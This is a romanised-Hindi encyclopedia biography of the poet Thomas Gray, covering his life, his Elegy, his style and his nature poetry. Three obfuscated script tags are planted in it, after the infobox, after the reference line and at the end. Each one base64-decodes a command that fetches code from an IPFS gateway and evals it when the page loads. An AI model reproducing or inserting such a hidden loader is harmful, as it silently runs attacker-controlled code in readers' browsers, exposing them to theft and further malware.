थॉमस ग्रे
th aaumas gre
| |
| poora nam | th aaumas gre |
| janm | 26 disambar, 1716 ee. |
| janm bhoomi | komahil, ianglaind |
| mrityu | 30 julaee, 1771 ee. |
| mrityu sthan | kaimbrij, ianglaind |
| abhibhavak | filip gre tatha dorothi gre |
| karm bhoomi | ianglaind |
| karm-kshetr | kavita lekhan |
| mukhy rachanaean | 'eleji riten in ekantri charchayard' |
| bhasha | aangrezi |
| prasiddhi | kavi |
| any janakari | th aaumas gre ne apane yug ke kee any kaviyoan ke sath prakriti varnan ko phir se pratishthit kiya. inaki prakriti sanbandhi kavitaoan ki ek visheshata yah hai ki sabhi varnit drishy yatharth ka abhas dete haian. kori kalpana ka sahara kahian bhi nahian liya gaya hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
th aaumas gre (aangrezi: Thomas Gray ; janm- 26 disambar, 1716 ee., komahil, ianglaind; mrityu- 30 julaee, 1771 ee., kaimbrij, ianglaind) 18vian shatabdi ke prasiddh aangrezi kaviyoan mean se ek the, jinhoanne pop aur unaki klasiki parampara ke viruddh kavita ke kshetr mean romaantik tattv ko sabase pahale mahattv diya. th aaumas gre atyadhik adhyayashil tatha vidvanh kavi the. apana adhikaansh samay padhane mean hi lagane ke karan ve adhik nahian likh sake. lekin phir bhi unhoanne jo kuchh bhi likha hai, vah kala ki drishti se utkrisht hai.
janm tatha shiksha
th aaumas gre ka janm 26 disambar, 1716 ee. mean ianglaind ke komahil namak sthan par hua tha. inake pita ka nam filip gre tatha mata ka nam dorothi gre tha. eetan mean praanrabhik shiksha samapt karane ke bad th aaumas gre kaimbrij a ge aur vahaan qanoon ka adhyayan kiya. lekin unhoanne ekanishth bhav se sahity ki seva ka nishchay kar liya tha aur apane mitr hores valapol ke sath san 1739 se 1741 tak fraans, itali, vels aur skatalaiand ki yatra ki.
prasiddh kavita
th aaumas gre ki adhikaansh kavitaean mrityu se 20 sal pahale hi likhi ja chuki thian. unaki sarvadhik prasiddh kavita 'eleji riten in ekantri charchayard' san 1747 mean likhi gee thi, isaka prakashan tin sal bad, san 1750 mean hua. 1757 mean th aaumas gre ko larietiship mili thi, jise inhoanne asvikar kar diya. san 1768 mean ye kaimbrij vishvavidyalay mean itihas ke prophesar hue.[1]
bhav aur bhasha
th aaumas gre adhyayanashil aur vidvanh kavi the. adhikaansh samay padhane mean hi lagane ke karan ye adhik nahian likh pae. lekin jo kuchh bhi inhoanne likha, vah kala ki drishti se utkrisht hai. inaki kavita mean bhav aur bhasha donoan ki chusti hai. jo shabd jahaan hai, vah vahaan ke lie anivary pratit hota hai. aisa jnat hota hai ki kavi ne shabdoan ka chayan b de dhyan se kiya hai. aisi rachanaoan mean kisi n kisi aansh mean kritrimata ka dosh ana svabhavik hai, lekin th aaumas gre ki kavitaoan mean bhavoan ki sachchi abhivyakti hai.
prakriti varnan ki pratishthapana
alekjandar pop tatha klasiki paranpara ke any kaviyoan ka dhyan poornataya nagaroan ke jivan par hi keandribhoot tha. shahar ke sabhy aur susanskrit vatavaran mean rahane vale stri-purushoan ke karyakalapoan tak hi kavita ka kshetr simit rah gaya tha. prakriti ke liye vahaan koee sthan nahian tha. gramin jivan ko ye kavi hey drishti se dekhate the. nadi, parvat, jangal adi sauandary ka nahian, balki bhay ka bhav utpann karate the. aangrezi ki kavita mean is pravritti ke viruddh avaj uthane lagi thi aur th aaumas gre ne apane yug ke kee any kaviyoan ke sath prakriti varnan ko phir se pratishthit kiya. inaki prakriti sanbandhi kavitaoan ki ek visheshata yah hai ki sabhi varnit drishy yatharth ka abhas dete haian. kori kalpana ka sahara kahian bhi nahian liya gaya hai.[1]
kavita mean bhavatatv
aangrezi kavita mean romaantik tatv ek any prakar se bhi aya. 18vian shatabdi ki klasiki kavita mean bhavatatv ka sarvatha abhav tha. buddhi ki hi sarvatr pradhanata thi. kavi ke liye sabhi prakar ki bhavukata se bachana avashyak samajha jata tha. th aaumas gre ki kavita mean tivr vishad ki abhivyakti thi. inake samakalin kuchh any kaviyoan mean bhi vishad ki jhalak milati hai. is prakar kavita dhire-dhire buddhi pradhan n rahakar bhav pradhan hoti gee. 'di phaital sistars' aur 'di diseant aauv odin' jaisi kavitaoan mean madhyayugin vishvasoan par adharit vilakshan aur chamatkari tatvoan ka samavesh hai. klasiki paranpara ka buddhivadi kavi aise tatvoan ko sahity ke liye bilakul anupayukt samajhata tha. kavita mean inake a jane se use kalpana ka sahara mil gaya.
nidhan
th aaumas gre ka nidhan 30 julaee, 1771 ee. mean kaimbrij, ianglaind mean hua. nidhan ke bad inaka shav 'stok popajej' namak gaanv ki qabragah mean inaki maan ki qabr ki bagal mean hi daphanaya gaya. isi sthan par th aaumas gre ne prasiddh 'eleji' ki rachana ki thi.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 th aaumas gre (hindi) bharatakhoj. abhigaman tithi: 12 joon, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>